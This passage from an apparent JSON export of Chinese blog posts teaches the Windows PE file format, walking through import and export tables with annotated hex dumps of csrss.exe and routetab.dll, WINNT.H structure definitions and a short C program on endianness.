00 00 （结构IMAGE_IMPORT_DESCRIPTOR）\n00000904: 00 00 00 00 / 00 00 00 00 / 00 00 00 00 / 00 00 00 00 / 00 00 00 00\u0026nbsp;\u0026nbsp;\n（全为空，表示结束IMAGE_IMPORT_DESCRIPTOR数组结束）\n00000918: 44 13 00 00 (文件中的地址为1344-1000+600=944，指向一个输入函数名结构)\n0000091C: 00 00 00 00 （为空，一个输入查询表结束）\n00000920: 84 13 00 00 (文件中的地址为1384-1000+600=984，指向一个输入函数名结构)\n00000924: 98 13 00 00 (1398-1000+600=998)\n00000928: 6a 13 00 00 (136a-1000+600=96a)\n0000092C: ae 13 00 00 (13ae-1000+600=9ae)\n00000930: cc 13 00 00 (13cc-1000+600=9cc)\n00000934: dc 13 00 00 (13dc-1000+600=9dc)\n00000938: ee 13 00 00 (13ee-1000+600=9ee)\n0000093C: 0e 14 00 00 (140e-1000+600=a0e)\n00000940: 00 00 00 00 （为空，一个输入查询表结束）\n00000944: 18 00 / 43 73 72 53 65 72 76 65 72 49 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 00\n（输入函数名结构 IMAGE_IMPORT_BY_NAME hint为18 Name为 \u0026quot;CsrServerInitialization.\u0026quot;）\n0000095E: 43 53 52 53 52 56 2e 64 6c 6c 00 00 （第一个IMAGE_IMPORT_DESCRIPTOR的Name指向这里\u0026quot;CSRSRV.dll\u0026quot;）\n0000096A: 00 01 / 4e 74 53 65 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 50 72 6f 63 65 73 73 00\n（\u0026quot;NtSetInformationProcess.\u0026quot;）\n00000984: 1c 01 / 4e 74 54 65 72 6d 69 6e 61 74 65 54 68 72 65 61 64 00\n00000998: 1b 01 / 4e 74 54 65 72 6d 69 6e 61 74 65 50 72 6f 63 65 73 73 00 00\n000009AE: d8 00 / 4e 74 52 61 69 73 65 48 61 72 64 45 72 72 6f 72 00 00\n000009C2: 6e 74 64 6c 6c 2e 64 6c 6c 00\n000009CC: 0d 00 / 44 62 67 42 72 65 61 6b 50 6f 69 6e 74 00 000009DC: 4a 01 / 52 74 6c 41 6c 6c 6f 63 61 74 65 48 65 61 70 00\n000009EE: 85 02 / 52 74 6c 55 6e 69 63 6f 64 65 53 74 72 69 6e 67 54 6f 41 6e 73 69 53 74 72 69 6e 67 00 00\n00000A0E: 30 02 / 52 74 6c 4e 6f 72 6d 61 6c 69 7a 65 50 72 6f 63 65 73 73 50 61 72 61 6d 73 00\n00000A2A: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00000A3A: \u0026#8230;\n00000600: 38 1f f8 5f 00000604: 00 00 00 00 （为空，一个输入地址表结束）\n00000608: 6d f0 f8 77\n0000060C: d8 c3 f8 77\n00000610: a5 b7 f8 77\n00000614: 38 a4 f9 77\n00000618: df f9 f9 77\n0000061C: 6b 97 fc 77\n00000620: ec e5 f8 77\n00000624: 18 2c f9 77\n00000628: 00 00 00 00 （为空，一个输入地址表结束） 本例比较可惜的是，在两个输入查询表中，都是函数名结构的RVA，没有直接的序号（是序号还是RVA的判别方法为，看最高位是否为1，为1，其余部分表示序号。为0，整个字段表示RVA）。\n三 遍历PE文件中的输入\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 用while循环，遍历IMAGE_IMPORT_DESCRIPTOR数组的每个元素（每个可以找到一个dll的信息和该 dll提供的输入函数）。当某元素的值都为空时，表示遍历到了数组的最后。而对于IMAGE_IMPORT_DESCRIPTOR数组的一个元素，再用 while循环，遍历IMAGE_IMPORT_DESCRIPTOR中，两个RVA所指的两个DWORD数组，输入查询表和输入地址表。判断结束的条件 也是看，是否数组元素的值已经为空了。也就是while（..）{..while(..){}..}这样就可获得每一个有关输入的内容。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 实现遍历输入的源程序，可以参考 PEDUMP \u0026#8211; Matt Pietrek 1995 。《Windows95系统程式设计大奥秘》附书源码中有。\n完\n本文所使用的PE文件csrss.exe\n","permalink":"https://hessian.cn/p/382.html","summary":"\u0026nbsp;\u0026nbsp;\u0026nbsp; 关于输入部分，我们将详细介绍关于输入函数的各种结构，通过一个例子来说明输入函数及其相关结构是怎么放在PE文件中的。以及如何在PE文件中找到这些东西。 ","title":"PE 格式学习总结（三）– PE文件中的输入函数"},{"content":"\u0026nbsp;\u0026nbsp;\u0026nbsp; 一般来说输出函数都是在dll中。我们将详细介绍关于输出函数的各种结构，通过一个例子来说明输出函数及其相关结构是怎么放在PE文件中的。以及如何在PE文件中找到这些东西。 一 找到输出函数在文件中位置。\n1.1 得到PE Header在文件中的位置。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 通过DOS Header结构的成员e_lfanew，可以确定PE Header的在文件中的位置。\n1.2 得到文件中节的数目。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 确定PE Header的在文件中的位置之后，就可以确定PE Header中的成员FileHeader和成员OptionalHeader在文件中的位置。根据 FileHeader 中的 成员NumberOfSections 的值，就可以确定文件中节的数目，也就是节表数组中元素的个数。\n1.3 得到节表在文件中的位置。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; PE Header在文件中的位置加上PE Header结构的大小就可以得到节表在文件中的开始位置。PE Header结构的大小可以由Signature的大小加上FileHeader的大小再加上FileHeader中的 SizeOfOptionalHeade来确定。其实到目前为止SizeOfOptionalHeade也就是结构Optional Header的大小也是固定的,所以整个PE Header结构的大小也是固定。不过为了安全起见，还是用Signature的大小加上FileHeader的大小再加上FileHeader中的SizeOfOptionalHeade来确定比较保险。\n1.4 得到输出函数在文件中的位置。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 第1.2步中我们确定了文件中节的数目，第1.3步中我们确定了节表在文件中的位置。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 现在来确定输出函数在文件中的位置。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 取得PE Header中的Optional Header中的DataDirectory数组中的第一项，\n也就是输出函数项。DataDirectory[]数组的每项都是IMAGE_DATA_DIRECTORY结构，该结构定义如下。\ntypedef struct _IMAGE_DATA_DIRECTORY {\nDWORD VirtualAddress;\nDWORD Size;\n} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;\n取得DataDirectory数组中的第一项中的成员VirtualAddress的值。这个值就是在内存中资源节的RVA。\n如果这个RVA的值为0表示这个PE文件中没有输出函数。\n然后根据节的数目，遍历节表数组。也就是从0到(节表数-1)的每一个节表项。\n每个节在内存中的RVA的范围是从该节表项的成员VirtualAddress字段的值开始（包括这个值），\n到VirtualAddress+Misc.VirtualSize的值结束（不包括这个值）。\n我们遍历整个节表，看我们取得的输出函数的RVA，在哪个节表项的RVA范围之内。\n如果在范围之内，就找到了输出函数所在节的节表项。\n这 个节表项中的 PointerToRawData 中的值，就是输出函数所在节在文件中的位置。这个节表项中的VirtualAddress 中的值，就是输出函数所在节在内存中的RVA。用输出函数的RVA减去输出函数所在节的RVA,就可以得到输出函数在该节内偏移。用这个偏移加上该节的在 文件中的位置，就可以得到输出函数在文件中的位置。即DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress \u0026#8211; SectionTable[i].VirtualAddress + SectionTable[i].PointerToRawData 。\n这样我们就得到了输出函数在文件中开始的位置。\n二 PE文件中的输出函数。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 输出函数是用来给其他程序使用的。其他程序如果知道了某个输出函数的入口地址（就是实现这个函数功能的代码开始的地方），就可以转到那里去执行。一个PE 文件中，如果有有输出函数，一般都不是一个。所以有一个数组来保存每个输出函数的入口地址。在PE文件中，提供两种方法，来找到某个输出函数的入口地址。 第一种方法是通过入口地址数组序号，就是说知道是入口地址数组中的第几个元素，这样就可以得到里面的入口地址。第二种方法是通过函数名，通过比较函数名， 然后得到对应该函数名的入口地址数组的序号，从而得到该函数名的对应函数的入口地址。为了能够通过函数名得到序号，就需要一些相关的结构。具体内容后面 讲。总得来说PE文件的输出函数部分中就是这些东西。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 前面我们已经得到了输出函数部分在文件中开始的位置，在输出函数部分的最开始，是一个IMAGE_EXPORT_DIRECTORY 结构，这个结构提供很多重要的信息。这个结构的后面紧跟着的是 输出函数入口地址数组 。输出函数入口地址数组之后紧跟着的是输出函数名的指针数组。输出函数名的指针数组之后紧跟着的是输出函数名对应的序号的数组。输出函数名对应的序号的数 组之后紧跟着dll的名字和输出函数的名字。注意，他们之间是紧挨着的。并且顺序为IMAGE_EXPORT_DIRECTORY，输出函数入口地址的数 组，输出函数名的指针的数组，输出函数名对应的序号的数组。最后是dll的名字的字符串和那些输出函数名的字符串。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 先看IMAGE_EXPORT_DIRECTORY 结构，在WINNT.H中定义如下。\ntypedef struct _IMAGE_EXPORT_DIRECTORY {\nDWORD Characteristics;\nDWORD TimeDateStamp;\nWORD MajorVersion;\nWORD MinorVersion;\nDWORD Name;\nDWORD Base;\nDWORD NumberOfFunctions;\nDWORD NumberOfNames;\nDWORD AddressOfFunctions; // RVA from base of image\nDWORD AddressOfNames; // RVA from base of image\nDWORD AddressOfNameOrdinals; // RVA from base of image\n} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;\n这个结构长度为40个字节，共有11个字段。\n各字段含义如下：\nCharacteristics：一个保留字段，目前为止值为0。\nTimeDateStamp：产生的时间。\nMajorVersion：\nMinorVersion：\nName：一个RVA，指向一个dll的名称的ascii字符串。\nBase：输出函数的起始序号。一般为1。\nNumberOfFunctions：输出函数入口地址的数组 中的元素个数。\nNumberOfNames：输出函数名的指针的数组 中的元素个数，也是输出函数名对应的序号的数组 中的元素个数。\nAddressOfFunctions：一个RVA，指向输出函数入口地址的数组。\nAddressOfNames：一个RVA，指向输出函数名的指针的数组。\nAddressOfNameOrdinals：一个RVA，指向输出函数名对应的序号的数组。\n输出函数入口地址的数组，这个数组是一个DWORD数组，每个元素都是一个RVA，指向一个输出函数的入口地址，每个元素长4个字节。\n输出函数名的指针的数组，这个数组是一个DWORD数组，每个元素都是一个RVA，指向一个输出函数名的ascii字符串，每个元素长4个字节。\n输出函数名对应的序号的数组，这个数组是一个WORD数组，每个元素都是某个输出函数名函数对应的索引，这个索引是输出函数入口地址的数组的索引（已经用序号减去起始序号了），这个每个元素长2个字节。\ndll名字符串和输出函数名字符串，都是ascii字符串，以空结束。一个紧挨着一个。dll名字符串的地址存在IMAGE_EXPORT_DIRECTORY 的 Name 中。输出函数名字符串 的地址存在 输出函数名的指针的数组 中。\n还有要注意的是：\n\u0026nbsp;\u0026nbsp; 输出函数入口地址的数组包含着输出函数的入口点地址，一个序号减去起始序号（起始序号就是 IMAGE_EXPORT_DIRECTORY 中的 Base），用来索引这个数组。比如，起始序号为1，要找序号为1的函数的入口地址，那么该函数的入口地址为 输出函数入口地址数组[0]（0是由1-1算出来的）序号为3的函数的入口地址为\u0026nbsp;\u0026nbsp; 输出函数入口地址数组[2]（2是由3-1算出来的）。\n当载入器要修正一个函数的调用，而这个函数是用序号输入的，载入器只要用序号减去起始序号，得到输出函数入口地址的数组的索引，就可以了。\n当 载入器要修正一个函数的调用，而这个函数是用函数名输入的，载入器比较输出函数名的指针的数组每个元素所指的函数名，比如在第3个元素中比较，发现相同。 载入器就会从 输出函数名对应的序号的数组 的第三个元素的值 得到该函数的序号。用这个序号就可以在象前面那样用序号得到入口地址。输出函数名的指针的数组 和 输出函数名对应的序号的数组 有相同的元素个数（IMAGE_EXPORT_DIRECTORY 中的 NumberOfNames）。并且是有所关联的，函数名指针数组的第i个元素的序号，在序号数组的第i个元素中。输出函数名的指针的数组和输出函数名对 应的序号的数组，分开成两个数组，而不是合并成一个结构体的数组（这个结构体第一个成员是指针，第二个成员是序号），是因为，那样的话数组的一个元素长6 个字节，不利于对齐。\n下面我们来通过一个例子，来看上面所介绍的内容。\n我们的例子是Win2k中的dll文件routetab.dll。为了防止大家版本不同，本文附带了这个PE文件。\n用开始讲到的寻找输出部分在文件中位置的方法，我们找到了输出部分在文件中的位置为00001460h。\n由于第一个结构IMAGE_EXPORT_DIRECTORY比较长，一行方不下，所以放了三行，结构的不同成员用 / 分开。\n其他每行是一个结构。可以用16进制编辑器打开附带的 routetab.dll 对照着看。\n我们来算一下 Name，AddressOfFunctions，AddressOfNames，AddressOfNameOrdinals 在文件中的位置。\n输出部分的开始rva（由DataDirectory[1]得到）为1e60h。输出部分在文件中的位置为1460h。\nName 为rva(值从结构中可以看到是00001eec，如果你不明白为什么是00001eec而不是ec1e0000的话，请看 《JIURL PE 格式学习总结（一）》中关于 big-endian和little-endian的介绍)，则Name相对于输出部分开始处的偏移为1eec-1e60。而Name在文件中的位置为 Name在相对于输出部分开始的偏移加上输出部分开始处在文件中的位置。所以Name在文件中的位置为1EEC-1E60+1460=14ECh。同样方 法我们可以算出， AddressOfFunctions：\n1e88-1e60+1460=1488。AddressOfNames：1eb0- 1e60+1460=14b0 。AddressOfNameOrdinals：1ed8-1e60+1460=14d8。 从结构中还可以看到有0000000a（十进制10）个输出函数。\n00001460: {00 00 00 00 / dc 5b ec 37 / 00 00 / 00 00 / ec 1e 00 00 /\n00001470: 01 00 00 00 / 0a 00 00 00 / 0a 00 00 00 / 88 1e 00 00 /\n00001480: b0 1e 00 00 / d8 1e 00 00 } （我们用大括号括起来了，IMAGE_EXPORT_DIRECTORY结构，长度为40个字节）\n00001488: 41 1a 00 00 （函数入口点的RVA,长4个字节）\n0000148C: 64 1a 00 00 00001490: 02 18 00 00 00001494: 02 18 00 00 00001498: 71 16 00 00 0000149C: 07 16 00 00 000014A0: 26 18 00 00 000014A4: 84 1a 00 00 000014A8: 06 17 00 00 000014AC: 5b 19 00 00 000014B0: f9 1e 00 00 （函数名的指针，长4个字节，指向 1ef9-1e60+1460=14f9）\n000014B4: 02 1f 00 00 000014B8: 0e 1f 00 00 000014BC: 21 1f 00 00 000014C0: 30 1f 00 00 000014C4: 42 1f 00 00 000014C8: 4d 1f 00 00 000014CC: 5b 1f 00 00 000014D0: 6c 1f 00 00 000014D4: 81 1f 00 00 000014D8: 00 00 （索引，说明的1个函数名的函数，入口地址在 地址数组[0]）\n（并不是每个PE文件序号数组的第0个元素值就是0，第1个元素值就是1，ntdll.dll中就不是）\n000014DA: 01 00 000014DC: 02 00 000014DE: 03 00 000014E0: 04 00 000014E2: 05 00 000014E4: 06 00 000014E6: 07 00 000014E8: 08 00 000014EA: 09 00 000014EC: 52 4f 55 54 45 54 41 42 2e 64 6c 6c 00\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ROUTETAB.dll.\n000014F9: 41 64 64 52 6f 75 74 65 00\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; AddRoute.\n00001502: 44 65 6c 65 74 65 52 6f 75 74 65 00\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; DeleteRoute.\n0000150E: 46 72 65 65 49 50 41 64 64 72 65 73 73 54 61 62 6c 65 00\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; FreeIPAddressTable.\n00001521: 46 72 65 65 52 6f 75 74 65 54 61 62 6c 65 00\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; FreeRouteTable.\n00001530: 47 65 74 49 50 41 64 64 72 65 73 73 54 61 62 6c 65 00\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; GetIPAddressTable.\n00001542: 47 65 74 49 66 45 6e 74 72 79 00\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; GetIfEntry.\n0000154D: 47 65 74 52 6f 75 74 65 54 61 62 6c 65 00\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; GetRouteTable.\n0000155B: 52 65 66 72 65 73 68 41 64 64 72 65 73 73 65 73 00\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; RefreshAddresses.\n0000156C: 52 65 6c 6f 61 64 49 50 41 64 64 72 65 73 73 54 61 62 6c 65 00\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ReloadIPAddressTable.\n00001581: 53 65 74 41 64 64 72 43 68 61 6e 67 65 4e 6f 74 69 66 79 45 76 65 6e 74 00 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; SetAddrChangeNotifyEvent.\n0000159A: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n000015AA: \u0026#8230;\n000015F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 还是比较清楚的，就不再讲了。\n三 遍历PE文件中的输出\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 根据前面的方法得到输出部分的开始地址，最开始是一个IMAGE_EXPORT_DIRECTORY，根据这个结构中的内容，可以得到，和输出相关的三个数组的开始地址，和元素个数。用for循环可以很简单的遍历。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 实现遍历输出的源程序，可以参考 PEDUMP \u0026#8211; Matt Pietrek 1995 。《Windows95系统程式设计大奥秘》附书源码中有。\n完\n本文所使用的PE文件routetab.dll\n","permalink":"https://hessian.cn/p/649.html","summary":"\u0026nbsp;\u0026nbsp;\u0026nbsp; 一般来说输出函数都是在dll中。我们将详细介绍关于输出函数的各种结构，通过一个例子来说明输出函数及其相关结构是怎么放在PE文件中的。以及如何在PE文件中找到这些东西。 ","title":"PE 格式学习总结（二）– PE文件中的输出函数"},{"content":"零 前言 \u0026nbsp;\u0026nbsp;\u0026nbsp; PE格式，是Windows的可执行文件的格式。Windows中的 exe文件，dll文件，都是PE格式。PE 就是Portable Executable 的缩写。Portable 是指对于不同的Windows版本和不同的CPU类型上PE文件的格式是一样的，当然CPU不一样了，CPU指令的二进制编码是不一样的。只是文件中各种 东西的布局是一样的。\n图 1.1\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 图1.1是 JIURL PEDUMP 打开 Win2K 中的 explorer.exe 的截图。JIURL PEDUMP 是我写的一个小工具，从文件开始的 Dos Header 一直到 Section Table，打开PE文件之后，点击相应结构，就会高亮显示文件中相应的部分。不过没有Sections。对了解 PE 格式有所帮助,可以很好的配合后面的介绍。可以到我的主页 http://jiurl.yeah.net 上下载。\n一\u0026nbsp;\u0026nbsp; PE文件格式概述\nPE文件结构的总体层次分布如下所示\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n|DOS MZ Header |\n|\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;|\n|DOS Stub\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; |\n|\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;|\n|PE Header\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; |\n|\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;|\n|Section Table |\n|\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;|\n|Section 1\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; |\n|\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;|\n|Section 2\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; |\n|\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;|\n|Section \u0026#8230;\u0026nbsp;\u0026nbsp; |\n|\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;|\n|Section n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; |\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n1.1 DOS Header\n\u0026nbsp;\u0026nbsp;\u0026nbsp; PE文件最开始是一个简单的 DOS MZ header，它是一个 IMAGE_DOS_HEADER 结构。有了它，一旦程序在DOS下执行，DOS就能识别出这是有效的执行体，然后运行紧随 MZ Header 之后的 DOS Stub。\n1.2\u0026nbsp;\u0026nbsp; DOS Stub\u0026nbsp;\u0026nbsp;\u0026nbsp;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; DOS Stub 是一个有效的 DOS 程序。当程序在DOS下运时，输出象 \u0026quot;This program cannot be run in DOS mode\u0026quot; 这样的提示。在 图1.1中就可以看到字符串 \u0026quot;This program cannot be run in DOS mode\u0026quot;。这是编译器生成的默认stub程序。你也可以通过链接选项 /STUB:filename 指定任何有效的MS-DOS可执行文件来替换它。\n1.3 PE Header\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 紧接着 DOS Stub 的是 PE Header。它是一个 IMAGE_NT_HEADERS 结构。其中包含了很多PE文件被载入内存时需要用到的重要域。执行体在支持PE文件结构的操作系统中执行时，PE装载器将从 DOS MZ header 中找到 PE header 的起始偏移量。因而 ?DOS stub 直接定位到真正的文件头 PE header。\n1.4 Section Table\n\u0026nbsp;\u0026nbsp;\u0026nbsp; PE Header 接下来的数组结构 Section Table (节表)。如果PE文件里有5个节，那么此 Section Table 结构数组内就有5个成员，每个成员包含对应节的属性、文件偏移量、虚拟偏移量等。图1中的节表有4个成员。\n1.5 Sections\n\u0026nbsp;\u0026nbsp;\u0026nbsp; PE文件的真正内容划分成块，称之为sections（节）。Sections 是以其起始位址来排列，而不是以其字母次序来排列。通过节表提供的信息，我们可以找到这些节。图1.1所示的 explorer.exe 中有4个节。程序的代码，资源等等就放在这些节中。\n二 PE文件格式中的结构及其作用\n这部分内容请参考下面的几篇文章，使用工具 JIURL PEDUMP 有助于快速了解。\n大家不要因此，而失望不看，本文重点在后三篇，本篇只是为了有个交代，和介绍些相关内容。\n注意，在WINNT.H中，有所有PE相关结构的定义。我们用到的结构定义都来自那里。\nMicrosoft Portable Executable and Common Object File Format Specification\nMSDN 《Windows95系统程式设计大奥秘》\n第8章 PE 与COFF OBJ 档案格式\nMatt Pietrek 着 侯杰译\nIczelion的PE教程\nPE学习笔记（一） rivershan\nPE学习笔记（二） rivershan\nInside Windows An In-Depth Look into the Win32 Portable Executable File Format Matt Pietrek 已经被人翻译了。 Inside Windows An In-Depth Look into the Win32 Portable Executable File Format Matt Pietrek 三 几个要注意的问题 3.1 文件中大量的空白 \u0026nbsp;\u0026nbsp;\u0026nbsp; 在 PE Header结构 中的 OptionalHeader 结构中的成员 FileAlignment 的值是文件中节的对齐粒度，单位是字节，这个值应该是2的n次方，范围从512到64k。如果这里的值是512,那么PE文件中的节的长度都是512字节 的整数倍，内容不够的部分用0填充。比如一个PE文件的 FileAlignment 为200h(十进制512),它的第一个节在400h处，长度为100h，那么从文件400h到500h中为这一节的内容，而文件对齐粒度是200h，所 以为了使这一节长度为FileAlignment的整数倍，500h到600h会被用零填充。而下一个节的开始地址为600h。用16进制编辑器打开PE 文件，就可以看到这种情况，PE文件头的内容结束到第一个节开始之间的地方，每一个节中内容结束到下一节开始的地方都会有大量的空白。VC6编译链接时默 认的FileAlignment为1000h（4k)，可以使用链接选项 /ALIGN:number 来改变这个值。比如把4k改成512时，可以明显减小生成文件的大小。 3.2 big-endian和little-endian \u0026nbsp;\u0026nbsp;\u0026nbsp; PE Header中的 FileHeader 的成员 Machine 中的值，根据WINNT.H中的定义，对于 Intel CPU 应该为 0x014c。但是你用16进制编辑器打开PE文件，看到这个WORD显示的却是 4c 01 。你看到的并没有错，你看到的 4c 01 就是 0x014c，只不过由于 intel cpu 是ittle-endian，所以显示出来是这样的。对于 big-endian 和 little-endian，请看下面的例子。 比如一个整形int变量。长为四个字节。\n这个变量的地址比如为n。\n则这个变量的4个字节地址分别为n,n+1,n+2,n+3。\n当 这个整形变量 的值为 0x12345678 时，\n对于 big-endian 来说\n地址n+0的那个字节中的值为 0x12\n地址n+1的那个字节中的值为 0x34\n地址n+2的那个字节中的值为 0x56\n地址n+3的那个字节中的值为 0x78\n按如下方式就会显示为\nn n+1 n+2 n+3 12 34 56 78\n对于 ittle-endian 来说\n地址n+0的那个字节中的值为 0x78\n地址n+1的那个字节中的值为 0x56\n地址n+2的那个字节中的值为 0x34\n地址n+3的那个字节中的值为 0x12\n按如下方式就会显示为\nn n+1 n+2 n+3 78 56 34 12\nIntel使用的是 ittle-endian 。\n一个整形 int 变量 i,的地址是\u0026amp;i，那么这个i的四个字节是\u0026amp;i,\u0026amp;i+1,\u0026amp;i+2,\u0026amp;i+3。\n可以用这样一个程序看到。\n#include \u0026lt;stdio.h\u0026gt;\n#include \u0026lt;conio.h\u0026gt;\nvoid main()\n{\nint i;\nchar* p;\np=(char*)\u0026amp;i;\nprintf(\u0026quot;i: \u0026quot;);\nscanf(\u0026quot;%x\u0026quot;,\u0026amp;i);\nprintf(\u0026quot;n\u0026quot;);\nprintf(\u0026quot;\u0026amp;i+0: %xn\u0026quot;,*p);\nprintf(\u0026quot;\u0026amp;i+1: %xn\u0026quot;,*(p+1));\nprintf(\u0026quot;\u0026amp;i+2: %xn\u0026quot;,*(p+2));\nprintf(\u0026quot;\u0026amp;i+3: %xn\u0026quot;,*(p+3));\nprintf(\u0026quot;n\u0026quot;);\nprintf(\u0026quot;\u0026amp;i-4: %xn\u0026quot;,*(p-4));\nprintf(\u0026quot;\u0026amp;i-3: 